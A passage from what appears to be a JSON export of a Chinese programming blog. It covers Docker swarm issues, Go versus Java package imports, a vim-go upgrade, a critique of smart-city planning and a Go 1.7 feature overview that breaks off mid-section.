无论是配置原因还是代码bug导致的随机问题，Docker日益庞大的身躯和背后日益复杂的网络机制，让开发者（包括docker自己的开发人员）查找问题的难度都变得越来越高。Docker代码的整体质量似乎也呈现出一定下滑的不良趋势。\n针对上述问题，尚未找到很好的解决方案。如果哪位读者能发现其中玄机，请不吝赐教。\n","permalink":"https://tonybai.com/2016/10/11/some-problems-under-swarm-mode-in-docker-1-12/","summary":"\u003cp\u003e前段时间，由于工作上的原因，与\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e的联系发生了几个月的中断^_^，从10月份开始，工作中又与Docker建立了广泛密切的联系。不过这次，Docker却给我泼了一盆冷水:(。事情的经过请允许多慢慢道来。\u003c/p\u003e\n\u003cp\u003e经过几年的开发，\u003ca href=\"https://www.docker.com/\"\u003eDocker\u003c/a\u003e已经成为轻量级容器领域不二的事实标准，应用范围以及社区都在快速发展和壮大。今年的年中，Docker发布了其里程碑的版本\u003ca href=\"https://github.com/docker/docker/releases/tag/v1.12.0\"\u003eDocker 1.12\u003c/a\u003e，该版本最大的变动就在于其引擎自带了swarmkit ，一款Docker开发的容器集群管理工具，可以让用户无需安装第三方公司提供的工具或Docker公司提供的引擎之外的工具，就能搭建并管理好一个容器集群，并兼有负载均衡、服务发现和服务编排管理等功能。这对于容器生态圈内的企业，尤其是那些做容器集群管理和服务编排平台的公司来说，不亚于当年微软在Windows操作系统中集成Internet Explorer。对此，网上和社区对Docker口诛笔伐之声不绝于耳，认为Docker在亲手打击社区，葬送大好前程。关于商业上的是是非非，我们这里暂且不提。不可否认的是，对于容器的普通用户而言，Docker引擎内置集群管理功能带来的更多是便利。\u003c/p\u003e","title":"Docker 1.12 swarm模式下遇到的各种问题"},{"content":"闲暇时翻阅了近期下载到的电子书《Go in Practice》 ，看到1.2.4 Package Management一节中的代码Demo，感觉作者对Go package导入的说法似乎不够精确：“Packages are imported by their name”(后续的说明将解释不精确的原因)。联想到前几天遇到的一个Java包导入的问题，让我隐约地感觉Java程序员很容易将两种语言的Package import机制搞混淆，于是打算在这里将Golang和Java的Package import机制做一个对比，对于Java转型到Golang的程序员将大有裨益:)。这里的重点在于与Java的对比，关于Golang的Package Import的细节可以参考我之前写过的一篇文章《理解Golang包导入》。\n我们先来看两个功能等价的代码。\n//TestDate.java import java.util.*; import java.text.DateFormat; public class TestDate { public static void main(String []args){ Date d = new Date(); String s = DateFormat.getDateInstance().format(d); System.out.println(s); } } 和\n//testdate.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { t := time.Now() fmt.Println(t.Format(\u0026quot;2006-01-02\u0026quot;)) } 两个程序在Run时，都输出下面内容：\n2016-9-13 我们看到Golang和Java都是用import关键字来进行包导入的：\nimport java.util.Date; Date d = new Date(); vs.\nimport \u0026quot;time\u0026quot; t := time.Now() 咋看起来，Java在package import后似乎使用起来更Easy，使用包内的类和方法时，前面无需再附着Package name，即Date d，而不是java.util.Date d。而Go在导入”time”后，引用包中方法时依然要附着着包名，比如time.Now()。但实质上两种语言在import package的机制上是有很大不同的。\n1、机制 虽然都使用import，但import关键字后面的字符串所代表的含义有不同。\nJava import导入的是类而不是包，import后面的字符串表示的是按需导入Java Package下面的类，比如import java.util.*； 或导入Package下某个类，比如import java.util.Date。而Go import关键字后面的字符串是包名吗？很多初学者会认为这个就是Go包名，实则不然，Go import后面的字符串实际上是一个包导入路径，这也是Java用”xxx.yyy.zzz”形式而Golang使用”xxx/yyy/zzz”形式的原因。我们用个简单的例子就能证明这一点。我们知道Golang会在\\$GOROOT/src + \\$GOPATH/src下面导入xxx/yyy/zzz路径下的包，我们在import “fmt”时，实际上导入的是\\$GOROOT/src/fmt目录下的包，只是恰好这个下面的包的名字是fmt罢了。如果我们将\\$GOROOT/src/fmt目录改名为fmt1，结果会是如何呢？\n$go build helloworld.go helloworld.go:3:8: cannot find package \u0026quot;fmt\u0026quot; in any of: /Users/tony/.bin/go17/src/fmt (from $GOROOT) /Users/tony/Test/GoToolsProjects/src/fmt (from $GOPATH) helloworld.go是一个helloworld go源码。 之所以出错是因为在\\$GOROOT/src下已经没有fmt这个目录了，所以下面代码中的两个fmt含义是不同的（这也解释了Go in practice中关于包导入的说法的不精确的原因）：\npackage main import \u0026quot;fmt\u0026quot; ---- 这里的fmt指的是$GOROOT/src下的名为\u0026quot;fmt\u0026quot;的目录名 func main() { fmt.Println(\u0026quot;Hello, World\u0026quot;) --- 这里的fmt是真正的包名\u0026quot;fmt\u0026quot; } 从上面我们可以看出Go的包名和包的源文件所在的路径的名字并没有必须一致的要求，这也是为什么在Go源码使用包时一定是用packagename.XX形式，而不是packagename.subpackagename.XX的形式了。比如导入”net/http”后，我们在源码中使用的是http.xxx，而不是net.http.xxx，因为net/http只是一个路径，并不是一个嵌套的包名。\n之所以看起来导入路径的终段目录名与包名一致，只是因为这是Go官方的建议：Go的导入路径的最后一段目录名(xxx/yyy/zzz中的zzz)与该目录（zzz）下面源文件中的Go Package名字相同。\n下面是一个非标准库的包名与导入路径终段名完全不一致的例子：\n//github.com/pkgtest/pkg1/foo.go package foo import \u0026quot;fmt\u0026quot; func Foo() { fmt.Println(\u0026quot;Foo in pkg1\u0026quot;) } //testfoo.go package main import ( \u0026quot;github.com/pkgtest/pkg1\u0026quot; ) func main() { foo.Foo() //输出：Foo in pkg1 } 可以看出testfoo.go导入的是”github.com/pkgtest/pkg1″这个路径，但这个路径下的包名却是foo。\nJava语言中的包实际以.jar为单位，.jar内部实际上也是以路径组织.class文件的，比如：foo.jar这个jar包中有一个package名为：com.tonybai.foo，foo包中包含类Foo、Bar，那实际上foo.jar内部的目录格式将是：\nfoo.jar - com/ - tonybai/ - foo/ - Foo.class - Bar.class 但对于Java包的使用者，这些都是透明的。\n2、重名 Java中关于包导入(实则是类导入)唯一的约束就是不能有两个类导入后的full name相同，如果存在两个导入类的full name完全相同，Javac在resolve时，要以ClassPath路径的先后顺序为准了，选择最先遇到的那个类。但是在Go中，如果导入的两个路径下的包名相同，那么Go compiler显然是不能允许这种情况的存在的，会给出Error信息。\n比如我们在GOPATH下的github.com/pkgtest/pkg1和github.com/pkgtest/pkg2下放置了同名包foo，下面代码将会报错：\npackage main import ( \u0026quot;github.com/pkgtest/pkg1\u0026quot; \u0026quot;github.com/pkgtest/pkg2\u0026quot; ) func main() { foo.Foo() } 错误信息如下：\n$go run testfoo.go # command-line-arguments ./testdate.go:8: foo redeclared as imported package name previous declaration at ./testfoo.go:7 解决这一问题的方法就是采用package alias：\npackage main import ( a \u0026quot;github.com/pkgtest/pkg1\u0026quot; b \u0026quot;github.com/pkgtest/pkg2\u0026quot; ) func main() { a.Foo() b.Foo() } 编译执行上面程序将得到下面结果，而不是Error：\nFoo of foo package in pkg1 Foo in foo package in pkg2 ","permalink":"https://tonybai.com/2016/09/13/package-import-in-golang-vs-in-java/","summary":"\u003cp\u003e闲暇时翻阅了近期下载到的电子书\u003ca href=\"https://book.douban.com/subject/26345890/\"\u003e《Go in Practice》\u003c/a\u003e ，看到1.2.4 Package Management一节中的代码Demo，感觉作者对Go package导入的说法似乎不够精确：“Packages are imported by their name”(后续的说明将解释不精确的原因)。联想到前几天遇到的一个Java包导入的问题，让我隐约地感觉Java程序员很容易将两种语言的Package import机制搞混淆，于是打算在这里将Golang和Java的Package import机制做一个对比，对于Java转型到Golang的程序员将大有裨益:)。这里的重点在于与Java的对比，关于Golang的Package Import的细节可以参考我之前写过的一篇文章\u003ca href=\"http://tonybai.com/2015/03/09/understanding-import-packages/\"\u003e《理解Golang包导入》\u003c/a\u003e。\u003c/p\u003e","title":"Go包导入与Java的差别"},{"content":"自从上一次配置好Mac上的Golang Vim开发环境，基本上就没怎么动过。近两年过去了，Go已经升级到了1.7版本，Vim-go截至目前也已经演化到了1.8版本了。社区的积极关注和使用，让Vim-go的作者Fatih Arslan备受鼓舞，于是近一年来，积极为vim-go添加新功能，发布新版本，并编写了vim-go的详细tutorial。这让我动了更新Vim-go版本的念头，于是就有了本篇内容。\n已经记不得当初第一次配置vim-go时，vim-go的版本号是多少了。经过近两年的发展，vim-go已然正式成为Vim下Go开发环境的标准Plugin了。Go从当年的1.4升级到1.7，相关工具也跟着一起升级，比如oracle变成了guru，名字都换了。支持go的编辑器也逐渐增多并日益成熟，从最初vim、liteIDE，到后来的eclipse、IntelliJ Idea、atom、sublime text以及vscode对golang都提供了支持。这样一来，无论你之前是哪种IDE的拥趸，你都能找到得心应手的环境走入Golang世界。\n我个人一直用vim，sublime text3曾经玩过，没玩熟，卸了。目前机器上还装了一份vscode，感觉在IDE领域中，微软的影响力和成熟度不容小觑，vscode + golang extension从入门门槛来看，还是非常低的。即便vim-go进化到1.8版本，仍然不如vscode安装体验来得方便。当然这不全是vim-go的问题，而是vim的设计哲学所致。\n无论是vim-go还是vscode golang plugin，都要依赖golang的周边工具，主要包括gocode、goimports、guru、godef、golint、gometalinter等。在这方面，vim-go提供了安装依赖工具的方法“:GoInstallBinaries”，或在外部通过：vim -c “GoInstallBinaries” -c “qa”安装（在安装vim-go之后）；而vscode则会自动探测其所依赖的工具是否安装，如果没有安装，会在vscode的下方给出提示，点击提示，会安装相应的工具。\nBTW，自从近期golang官网：golang.org不用再翻墙后，go get下载golang.org域名下面的各种工具也简单了许多，大陆的Gopher们再也无需担心go package下载的问题了。\n升级vim-go之前，建议先备份好.vimrc文件：\ncp .vimrc .vimrc.bak.20160908 vim-go插件安装由很多方法，在vim-go tutorial中，vim-go作者选择了vim-plug，而没有用之前的vim插件管理工具vundle.vim，方法都是大同小异：\n下载vim-plug：\n$curl -fLo ~/.vim/autoload/plug.vim --create-dirs https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 67682 100 67682 0 0 7020 0 0:00:09 0:00:09 --:--:-- 12576 安装vim-go：\n在.vimrc中填写如下内容：\ncall plug#begin() Plug 'fatih/vim-go' 然后执行”:PlugInstall”即可。\n在安装依赖工具期间，发现mac原生自带的vim(macvim，又叫mvim，安装在/usr/local/bin/mvim)版本还是7.3.xx版本，无法满足一些工具的要求，于是通过brew安装vim(安装在/usr/local/Cellar/vim/7.4.2334/bin/vim)，然后通过/usr/bin/vim的一个符号链接连过去即可。\n$ll /usr/bin|grep vim lrwxr-xr-x 1 root wheel 38 9 8 16:21 vim@ -\u0026gt; /usr/local/Cellar/vim/7.4.2334/bin/vim ... ... 注意，考虑要安装neocomplete以支持实时completion（补齐），vim需要有lua支持，因此执行brew install时要带上–with-lua参数：\nbrew install vim --with-lua vim-go升级版安装后，可按照vim-go-tutorial中的步骤，体验一下vim-go的强大，同时对.vimrc进行相关配置，并安装缺失的vim插件，比如neocomplete、UltiSnips等。我针对vim-go 1.8配置好的.vimrc在这里可以下载到。\n具体细节这里就不提了，如果还有哪些细节不清楚或实验没成功，可以回过头参考我那篇《Golang开发环境搭建-Vim篇》。\n","permalink":"https://tonybai.com/2016/09/08/upgrade-vim-go/","summary":"\u003cp\u003e自从上一次配置好Mac上的\u003ca href=\"http://tonybai.com/2014/11/07/golang-development-environment-for-vim/\"\u003eGolang Vim开发环境\u003c/a\u003e，基本上就没怎么动过。近两年过去了，\u003ca href=\"http://tonybai.com/2016/06/21/some-changes-in-go-1-7/\"\u003eGo已经升级到了1.7版本\u003c/a\u003e，\u003ca href=\"https://github.com/fatih/vim-go\"\u003eVim-go\u003c/a\u003e截至目前也已经演化到了\u003ca href=\"https://github.com/fatih/vim-go/releases/tag/v1.8\"\u003e1.8版本\u003c/a\u003e了。社区的积极关注和使用，让Vim-go的作者\u003ca href=\"https://github.com/fatih\"\u003eFatih Arslan\u003c/a\u003e备受鼓舞，于是近一年来，积极为vim-go添加新功能，发布新版本，并编写了vim-go的详细\u003ca href=\"https://github.com/fatih/vim-go-tutorial\"\u003etutorial\u003c/a\u003e。这让我动了更新Vim-go版本的念头，于是就有了本篇内容。\u003c/p\u003e","title":"vim-go更新小记"},{"content":"从当年IBM提出智慧城市概念算起，中国的第一轮智慧城市建设或多或少已经有个6、7年时间了。中国城市在智慧城市概念兴起之前，还切实做了数字城市、无线城市的建设，因此总体来看，中国城市在推进城市化和信息化的道路上已经走了相当长的一段时间了。当前中国城市正处于城市新一轮建设的机遇期，城市化被确定为中国未来经济发展的核心力量，是孕育中国经济发展新动能的关键所在。在这样一个关键时间节点上，我们对已经进行的城市建设进行深入反思是十分必要的，尤其是要对上一轮风风火火的智慧城市建设的效果进行细致分析，为今后的新一轮智慧城市建设提供值得借鉴的经验和教训。\n今年是厄尔尼诺现象的极大年，入春以后，暴雨、台风、酷暑接踵而至，中华大地从南到北，从东到西，饱受着来自大自然神力的折磨。对于城市而言，这些自然灾害恰恰也是对之前城市建设成果的一次考验，无论是基础设施，还是城市综合运行管理和应急处理。而这场大考的评审官就是身处钢筋水泥城市中的市民、企业等城市日常活动的活跃主体。\n这场评判的结果如何呢？这里用两句改自诗圣杜甫“赠花卿”的诗句来形容一下：“智慧城市只应天上有，人间能得几回闻”。也许这样的评价有些苛刻和过于严重了，但也恰恰能说明在上一轮智慧城市建设或是在某些城市正在进行的智慧城市建设中存在着许多不合理之处。这不禁让人想到一个问题：智慧城市到底满足的是谁的诉求！\n一般来讲，城市中最根本诉求是民众的诉求，城市建设和发展都要以民众的诉求的满足为中心，以民为本。其他所有诉求都是建立在民众的诉求之上的，比如企业和政府的诉求。\n但实际情况是如何呢？很多城市建设专家或国家部委负责人也在反思智慧城市建设的不足，他们总是谈到一点：“公众获得感不强烈”。“获得感不强”是一个什么概念呢，换句通俗的话，就是老百姓没有看到智慧城市建设的成果，民众需求实际上没有得到针对性的满足，老百姓的诉求没有得到解决或少有得到解决。怎么会发生这样的事情，我们的政府可是人民的政府，人民政府为人民，这是我们从小就接受到的教育。抱怨无用，我们来分析一下，为何民众的诉求没有得到很好的满足。\n这一切都开始于城市的规划设计上，不过现在党中央以及地方各级政府都喜欢用一个更时髦的词汇：“顶层设计”。重视顶层设计的这种思路是没错的，这也是中国改革开放以来城市建设的经验总结。但如何做顶层设计，其实多数地方政府是没谱的、缺乏的甚至是不懂的，常见的做法就是将“顶层设计”作为一个价格不菲的工程，包给一个公司（比如IBM）或科研院所去做，最后弄出来一份成百甚至上千页的文档甚至是一套书来，这些东西就决定了这个城市的未来。\n翻看一些试点城市的所谓顶层设计（或叫智慧城市总体规划，一般以5-10年为一个规划周期），我们满眼看到的都是一些高大上的重点项目（委以“智慧xx”的名头），看起来这些真的都是为民的项目。但这些项目所要解决的问题真的是市民们要解决的吗？这些顶层设计中城市目标、主要任务或是重点项目的确定是怎么来的呢？\n一般来说，正确的做法应该是大量的调研和分析，但实际的做法更多是模仿和参考。我们不能否定一些公司可能做过大量的调研，但他们会将更多精力花在政府管理层以及政府各个委办局的调研上的，而不是普通民众。这样就会导致调研结果远离城市民众最核心的诉求，至少在民生改善方面，与民众那些看起来很“屌丝”的诉求间存在较大的Gap。同时，一些基于政府政绩诉求、上级领导喜好诉求或某些大型会议或赛事举办诉求的工程被摆在了台面之上，掩盖了民众最朴实的“屌丝”诉求；甚至一些不合格的顶层设计，由于copy成分的存在，将其他城市的述求变成了自己城市的诉求，这是一种多么“伟大”的精神啊！\n在政府的伟大理想面前，其实民众的诉求反倒是很朴实的，但就是这些朴实的诉求却长年得不到满足，甚至某些问题因为某些顶设规划中项目的建设而变得恶化。这些事情就发生在你我身边：\n比如：某市经过10年的建设，原先城市那些“知名”的积水点依然还是积水点，每降大雨必淹车。然后又因为扩城工程，城市又新增了若干个新积水点。这种情况如何让民众满足。如果说对积水点不改造，也有失偏颇。政府每年都会投入大量人力物力，实施各种整修工程，路重修重填，但无论路多新，修几次，水依旧照“积”不误。\n再比如：某市因为之前的城市规划，工厂区搬到城郊，工人留在城内居民区，在居民区与厂区之间有一条关键的道路连接，这里成为每天上班族必经之路。但由于为了扩大“生态宜居”效应，政府硬是把原本没有水的地方引入了水系，于是好好的一条路被挖断了，路的下面挖出了一个水系，上面则变路为桥。这回周边的少数人倒是可以“宜居”了，但是每天因为桥的存在而在早晚高峰忍受拥堵的市民数量不知是前面人数的多少倍。\n最后还有一个例子，因为某国家承办某重大赛事的要求，对赛事周边地区进行重新规划，为了所谓的带动那个地区的“人气”的要求，居然决定将原市博物馆、档案馆、科技馆和图书馆从原城区中心区域搬迁到三环外。 有人说北京的首都博物馆也在三环外附近，不过我告诉你，这里的三环外，相当于北京的6环外甚至更远，试想还有哪个城市有如此“大手笔”。这让以前那些经常逛图书馆、博物馆的有着阅读和文化娱乐需求的市民情何以堪啊，以上四馆的功能作用在搬迁后也势必大大降低。\n以上两个例子也是顶层设计或是城市规划为未来设计（过多考虑未来需求，用IT人的说法叫“过设计”）、为少数人设计的典型案例。\n再来看看交通拥堵问题，北上广深各大一线城市采用了诸多摇号、拍号、限购的方式尝试解决交通拥堵，但该堵还是堵，一点不给政府面子。那究竟是什么原因造成的堵呢。很多专家会说：原因是复杂的，多元的。但下面对话中反映出的这个原因也是导致很多大城市交通拥堵的重要甚至是根本原因之一：\n问：你觉得为什么会堵？ 答：都开车上班，车多。 问：why要开车？ 答：单位远，无直通车或公共交通工具或公共交通工具太挤。 问：为什么单位里居住地那么远？ 答：本来不远，搬迁走了。 问：为什么厂子要搬迁？ 答：你说呢？这年头对地方政府而言啥最值钱你不知道么？ 于是就有了每天早晚高峰的人口迁徙。 问：why不住在单位附近？ 答：工厂有噪音、污染。 问：噪音、污染没人治理么？ 答：你说呢？ 从这个例子你也能看得出来，上述所谓的交通解决方案解决的都是皮毛和表层，我们可以大致看出地方政府在做规划时的出发点什么，结果就是：民众的潜在诉求被无情的放在了后面和低优先级的位置。很多所谓顶层设计中的决策和规划，不是站在解决民众诉求的角度，有些从长远去看，甚至是建立在损害民众利益的基础上的，这真的很可怕。\n中央提出了城市顶层设计是正确无比的，但地方政府对顶层设计以及如何做顶层设计的深度认知需要时间。我们期望每个城市的智慧城市建设都能真正以满足民众的核心诉求为出发点，多多调研民众需求，从问题出发、从需求出发，从城市发展的目标出发，不要将其他城市的诉求copy为自身的诉求、不要有政绩考量的干扰、不要为过于长远的未来去过设计、不要以牺牲某些民众的利益去换取，实事求是，脚踏实地的去做。\n理想总是美好的，现实却是骨感的，通往智慧的道路任重道远。\n","permalink":"https://tonybai.com/2016/08/05/whose-appeals-does-smartcity-meet/","summary":"\u003cp\u003e从当年IBM提出\u003ca href=\"http://tonybai.com/2016/06/01/gossip-in-smart-city/\"\u003e智慧城市\u003c/a\u003e概念算起，中国的第一轮智慧城市建设或多或少已经有个6、7年时间了。中国城市在智慧城市概念兴起之前，还切实做了数字城市、无线城市的建设，因此总体来看，中国城市在推进城市化和信息化的道路上已经走了相当长的一段时间了。当前中国城市正处于城市新一轮建设的机遇期，城市化被确定为中国未来经济发展的核心力量，是孕育中国经济发展新动能的关键所在。在这样一个关键时间节点上，我们对已经进行的城市建设进行深入反思是十分必要的，尤其是要对上一轮风风火火的智慧城市建设的效果进行细致分析，为今后的新一轮智慧城市建设提供值得借鉴的经验和教训。\u003c/p\u003e\n\u003cp\u003e今年是厄尔尼诺现象的极大年，入春以后，暴雨、台风、酷暑接踵而至，中华大地从南到北，从东到西，饱受着来自大自然神力的折磨。对于城市而言，这些自然灾害恰恰也是对之前城市建设成果的一次考验，无论是基础设施，还是城市综合运行管理和应急处理。而这场大考的评审官就是身处钢筋水泥城市中的市民、企业等城市日常活动的活跃主体。\u003c/p\u003e","title":"智慧城市到底满足的是谁的诉求"},{"content":"零、从Release Cycle说起 从Go 1.3版本开始，Golang核心开发Team的版本开发周期逐渐稳定下来。经过Go 1.4、Go1.5和Go 1.6的实践，大神Russ Cox在Go wiki上大致定义了Go Release Cycle的一般流程：\n半年一个major release版本。 发布流程启动时间：每年8月1日和次年2月1日（真正发布日期有可能是这个日子，也可能延后几天）。 半年的周期中，前三个月是Active Development，then 功能冻结（大约在11月1日和次年的5月1日）。接下来的三个月为test和polish。 下一个版本的启动计划时间：7月15日和1月15日，版本计划期持续15天，包括讨论这个major版本中要实现的主要功能、要fix的前期遗留的bug。 release前的几个阶段版本：beta版本若干（一般是2-3个）、release candidate版本若干（一般是1-2个）和最后的release版本。 major release版本的维护是通过一系列的minor版本体现的，主要是修正一些导致crash的严重问题或是安全问题，比如major release版本Go 1.6目前就有go 1.6.1和go 1.6.2两个后续minor版本发布。 在制定下一个版本启动计划时，一般会由Russ Cox在golang-dev group发起相关讨论，其他Core developer在讨论帖中谈一下自己在下一个版本中要做的事情，让所有开发者大致了解一下下个版本可能包含的功能和修复的bug概况。但这些东西是否能最终包含在下一个Release版本中，还要看Development阶段feature代码是否能完成、通过review并加入到main trunk中；如果来不及加入，这个功能可能就会放入下一个major release中，比如SSA就错过了Go 1.6（由于Go 1.5改动较大，留给Go 1.6的时间短了些）而放在了Go 1.7中了。\n个人感觉Go社区采用的是一种“民主集中制”的文化，即来自Google的Golang core team的少数人具有实际话语权，尤其是几个最早加入Go team的大神，比如Rob Pike老头、Russ Cox以及Ian Lance Taylor等。当然绝大部分合理建议还是被merge到了Go代码中的，但一些与Go哲学有背离的想法，比如加入泛型、增加新类型、改善错误处理等，基本都被Rob Pike老头严词拒绝了，至少Go 1兼容版本中，大家是铁定看不到的了。至于Go 2，就连Go core team的人也不能不能打包票说一定会有这样的新语言规范。不过从Rob Pike前些阶段的一些言论中，大致可以揣摩出Pike老头正在反思Go 1的设计，也许他正在做Go 2的语言规范也说不定呢^_^。这种“文化”并不能被很多开源开发者所欣赏，在GopherChina 2016大会上，大家就对这种“有些独裁”的文化做过深刻了辩论，尤其是对比Rust那种“绝对民主”的文化。见仁见智的问题，这里就不深入了。个人觉得Go core team目前的做法还是可以很好的保持Go语言在版本上的理想的兼容性和发展的一致性的，对于一门面向工程领域的语言而言，这也许是开发者们较为看重的东西；编程语言语法在不同版本间“跳跃式”的演进也许会在短时间内带来新鲜感，但长久看来，对代码阅读和维护而言，都会有一个不小的负担。\n下面回归正题。Go 1.7究竟带来了哪些值得关注的变化呢？马上揭晓^_^。(以下测试所使用的Go版本为go 1.7 beta2)。\n一、语言 Go 1.7在版本计划阶段设定的目标就是改善和优化(polishing)，因此在Go语言(Specification)规范方面继续保持着与Go 1兼容，因此理论上Go 1.7的发布对以往Go 1兼容的程序而言是透明的，已存在的代码均可以正常通过Go 1.7的编译并正确执行。\n不过Go 1.7还是对Go1 Specs中关于“Terminating statements”的说明作了一个extremely tiny的改动：\nA statement list ends in a terminating statement if the list is not empty and its final statement is terminating. =\u0026gt; A statement list ends in a terminating statement if the list is not empty and its final non-empty statement is terminating. Specs是抽象的，例子是生动的，我们用一个例子来说明一下这个改动：\n// go17-examples/language/f.go package f func f() int { return 3 ; } 对于f.go中f函数的body中的语句列表（statement list），所有版本的go compiler或gccgo compiler都会认为其在”return 3″这个terminating statement处terminate，即便return语句后面还有一个“;”也没关系。但Go 1.7之前的gotype工具却严格按照go 1.7之前的Go 1 specs中的说明进行校验，由于最后的statement是”;” – 一个empty statement，gotype会提示：”missing return”：\n// Go 1.7前版本的gotype $gotype f.go f.go:6:1: missing return 于是就有了gotype与gc、gccgo行为的不一致！为此Go 1.7就做了一些specs上的改动，将statements list的terminate点从”final statement”改为“final non-empty statement”，这样即便后面再有”;”也不打紧了。于是用go 1.7中的gotype执行同样的命令，得到的结果却不一样：\n// Go 1.7的gotype $gotype f.go 没有任何错误输出 gotype默认以源码形式随着Go发布，我们需要手工将其编译为可用的工具，编译步骤如下：\n$cd $GOROOT/src/go/types $go build gotype.go 在当前目录下就会看到gotype可执行文件，你可以将其mv or cp到$GOBIN下，方便在命令行中使用。 二、Go Toolchain（工具链） Go的toolchain的强大实用是毋容置疑的，也是让其他编程语言Fans直流口水的那部分。每次Go major version release，Go工具链都会发生或大或小的改进，这次也不例外。\n1、SSA SSA（Static Single-Assignment），对于大多数开发者来说都是不熟悉的，也是不需要关心的，只有搞编译器的人才会去认真研究它究竟为何物。对于Go语言的使用者而言，SSA意味着让编译出来的应用更小，运行得更快，未来有更多的优化空间，而这一切的获得却不需要Go开发者修改哪怕是一行代码^_^。\n在Go core team最初的计划中，SSA在Go 1.6时就应该加入，但由于Go 1.6开发周期较为短暂，SSA的主要开发者Keith Randall没能按时完成相关开发，尤其是在性能问题上没能达到之前设定的目标，因此merge被推迟到了Go 1.7。即便是Go 1.7，SSA也只是先完成了x86-64系统。\n据实而说，SSA后端的引入，风险还是蛮大的，因此Go在编译器中加入了一个开关”-ssa=0|1″，可以让开发者自行选择是否编译为SSA后端，默认情况下，在x86-64平台下SSA后端是打开的。同时，Go 1.7还修改了包导出的元数据的格式，由以前的文本格式换成了更为短小精炼的二进制格式，这也让Go编译出来的结果文件的Size更为small。\n我们可以简单测试一下上述两个优化后对编译后结果的影响，我们以编译github.com/bigwhite/gocmpp/examples/client/例：\n-rwxrwxr-x 1 share share 4278888 6月 20 14:20 client-go16* -rwxrwxr-x 1 share share 3319205 6月 20 14:04 client-go17* -rwxrwxr-x 1 share share 3319205 6月 20 14:05 client-go17-no-newexport* -rwxrwxr-x 1 share share 3438317 6月 20 14:04 client-go17-no-ssa* -rwxrwxr-x 1 share share 3438317 6月 20 14:03 client-go17-no-ssa-no-newexport* 其中：client-go17-no-ssa是通过下面命令行编译的： $go build -a -gcflags=\u0026quot;-ssa=0\u0026quot; github.com/bigwhite/gocmpp/examples/client client-go17-no-newexport*是通过下面命令行编译的： $go build -a -gcflags=\u0026quot;-newexport=0\u0026quot; github.com/bigwhite/gocmpp/examples/client client-go17-no-ssa-no-newexport是通过下面命令行编译的： $go build -a -gcflags=\u0026quot;-newexport=0 -ssa=0\u0026quot; github.com/bigwhite/gocmpp/examples/client 对比client-go16和client-go17，我们可以看到默认情况下Go 17编译出来的可执行程序(client-go17)比Go 1.6编译出来的程序(client-go16)小了约21%，效果十分明显。这也与Go官方宣称的file size缩小20%~30%de 平均效果相符。\n不过对比client-go17和client-go17-no-newexport，我们发现，似乎-newexport=0并没有起到什么作用，两个最终可执行文件的size相同。这个在ubuntu 14.04以及darwin平台上测试的结果均是如此，暂无解。\n引入SSA后，官方说法是：程序的运行性能平均会提升5%~35%，数据来源于官方的benchmark数据，这里就不再重复测试了。\n2、编译器编译性能 Go 1.5发布以来，Go的编译器性能大幅下降就遭到的Go Fans们的“诟病”，虽然Go Compiler的性能与其他编程语言横向相比依旧是“独领风骚”。最差时，Go 1.5的编译构建时间是Go 1.4.x版本的4倍还多。这个问题也引起了Golang老大Rob Pike的极大关注，在Russ Cox筹划Go 1.7时，Rob Pike就极力要求要对Go compiler\u0026amp;linker的性能进行优化，于是就有了Go 1.7“全民优化”Go编译器和linker的上百次commit，至少从目前来看，效果是明显的。\nGo大神Dave Cheney为了跟踪开发中的Go 1.7的编译器性能情况，建立了三个benchmark：benchjuju、benchkube和benchgogs。Dave上个月最新贴出的一幅性能对比图显示：编译同一项目，Go 1.7编译器所需时间仅约是Go 1.6的一半，Go 1.4.3版本的2倍；也就是说经过优化后，Go 1.7的编译性能照比Go 1.6提升了一倍，离Go 1.4.3还有一倍的差距。\n3、StackFrame Pointer 在Go 1.7功能freeze前夕，Russ Cox将StackFrame Pointer加入到Go 1.7中了，目的是使得像Linux Perf或Intel Vtune等工具能更高效的抓取到go程序栈的跟踪信息。但引入STackFrame Pointer会有一些性能上的消耗，大约在2%左右。通过下面环境变量设置可以关闭该功能：\nexport GOEXPERIMENT=noframepointer 4、Cgo增加C.CBytes Cgo的helper函数在逐渐丰富，这次Cgo增加C.CBytes helper function就是源于开发者的需求。这里不再赘述Cgo的这些Helper function如何使用了，通过一小段代码感性了解一下即可：\n// go17-examples/gotoolchain/cgo/print.go package main // #include \u0026lt;stdio.h\u0026gt; // #include \u0026lt;stdlib.h\u0026gt; // // void print(void *array, int len) { // char *c = (char*)array; // // for (int i = 0; i \u0026lt; len; i++) { // printf(\u0026quot;%c\u0026quot;, *(c+i)); // } // printf(\u0026quot;\\n\u0026quot;); // } import \u0026quot;C\u0026quot; import \u0026quot;unsafe\u0026quot; func main() { var s = \u0026quot;hello cgo\u0026quot; csl := C.CBytes([]byte(s)) C.print(csl, C.int(len(s))) C.free(unsafe.Pointer(csl)) } 执行该程序： $go run print.go hello cgo 5、其他小改动 经过Go 1.5和Go 1.6实验的go vendor机制在Go 1.7中将正式去掉GO15VENDOREXPERIMENT环境变量开关，将vendor作为默认机制。\ngo get支持git.openstack.org导入路径。\ngo tool dist list命令将打印所有go支持的系统和硬件架构，在我的机器上输出结果如下：\n$go tool dist list android/386 android/amd64 android/arm android/arm64 darwin/386 darwin/amd64 darwin/arm darwin/arm64 dragonfly/amd64 freebsd/386 freebsd/amd64 freebsd/arm linux/386 linux/amd64 linux/arm linux/arm64 linux/mips64 linux/mips64le linux/ppc64 linux/ppc64le linux/s390x nacl/386 nacl/amd64p32 nacl/arm netbsd/386 netbsd/amd64 netbsd/arm openbsd/386 openbsd/amd64 openbsd/arm plan9/386 plan9/amd64 plan9/arm solaris/amd64 windows/386 windows/amd64\n三、标准库 1、支持subtests和sub-benchmarks 表驱动测试是golang内置testing框架的一个最佳实践，基于表驱动测试的思路，Go 1.7又进一步完善了testing的组织体系，增加了subtests和sub-benchmarks。目的是为了实现以下几个Features：\n通过外部command line(go test –run=xx)可以从一个table中选择某个test或benchmark，用于调试等目的； 简化编写一组相似的benchmarks； 在subtest中使用Fail系列方法(如FailNow，SkipNow等)； 基于外部或动态表创建subtests； 更细粒度的setup和teardown控制，而不仅仅是TestMain提供的； 更多的并行控制； 与顶层函数相比，对于test和benchmark来说，subtests和sub-benchmark代码更clean。 下面是一个基于subtests文档中demo改编的例子：\n传统的Go 